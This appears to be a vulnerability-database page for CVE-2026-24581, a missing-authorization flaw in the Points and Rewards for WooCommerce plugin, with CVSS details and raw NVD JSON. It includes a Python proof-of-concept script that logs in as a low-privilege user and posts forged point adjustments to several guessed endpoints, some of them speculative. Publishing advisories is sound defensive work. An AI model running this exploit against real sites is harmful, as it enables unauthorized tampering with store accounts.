Security Vulnerability Report
中文
CVE-2026-24581 CVSS 5.4 MEDIUM

CVE-2026-24581

Published: 2026-01-23 15:16:16
Last Modified: 2026-04-28 15:16:17

Description

Missing Authorization vulnerability in WP Swings Points and Rewards for WooCommerce points-and-rewards-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Points and Rewards for WooCommerce: from n/a through <= 2.9.5.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Points and Rewards for WooCommerce <= 2.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24581 PoC - Missing Authorization in Points and Rewards for WooCommerce # This PoC demonstrates how a low-privilege user can exploit the broken access control import requests import json TARGET_URL = "https://vulnerable-site.com" USERNAME = "attacker" # Low-privilege user account PASSWORD = "password" TARGET_USER_ID = 1 # Admin user ID to modify def get_auth_token(): """Login and get authentication cookie/token""" login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } session = requests.Session() session.post(login_url, data=data) return session def exploit_privilege_escalation(): """Exploit the missing authorization vulnerability""" session = get_auth_token() # Method 1: Direct API call to modify points (if endpoint exists) api_endpoints = [ f"{TARGET_URL}/wp-json/wc/v3/points", f"{TARGET_URL}/wp-json/points-rewards/v1/adjust", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=points_adjust" ] exploit_data = { 'user_id': TARGET_USER_ID, 'points': 999999, 'operation': 'add', 'note': 'Malicious point adjustment via CVE-2026-24581' } for endpoint in api_endpoints: try: response = session.post(endpoint, json=exploit_data, timeout=10) if response.status_code in [200, 201]: print(f"[!] Potential exploit success at: {endpoint}") print(f"Response: {response.text}") return True except requests.exceptions.RequestException: continue # Method 2: Direct database manipulation via admin-ajax admin_ajax_payload = { 'action': 'wps_points_update', 'user_id': TARGET_USER_ID, 'points_value': -99999, # Could also set negative to deduct 'nonce': 'attacker_generated_or_missing' } ajax_response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=admin_ajax_payload ) if ajax_response.status_code == 200: print(f"[!] Admin-ajax exploit attempted") print(f"Response: {ajax_response.text}") return False if __name__ == "__main__": print("CVE-2026-24581 PoC - Points and Rewards for WooCommerce Broken Access Control") print("=" * 70) success = exploit_privilege_escalation() if success: print("\n[!] Vulnerability confirmed - unauthorized point modification possible") else: print("\n[*] Exploit attempted - manual verification may be needed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24581", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:16.050", "lastModified": "2026-04-28T15:16:16.700", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Swings Points and Rewards for WooCommerce points-and-rewards-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Points and Rewards for WooCommerce: from n/a through <= 2.9.5."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en WP Swings Points and Rewards para WooCommerce points-and-rewards-for-woocommerce permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Points and Rewards para WooCommerce: desde n/a hasta &lt;= 2.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/points-and-rewards-for-woocommerce/vulnerability/wordpress-points-and-rewards-for-woocommerce-plugin-2-9-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}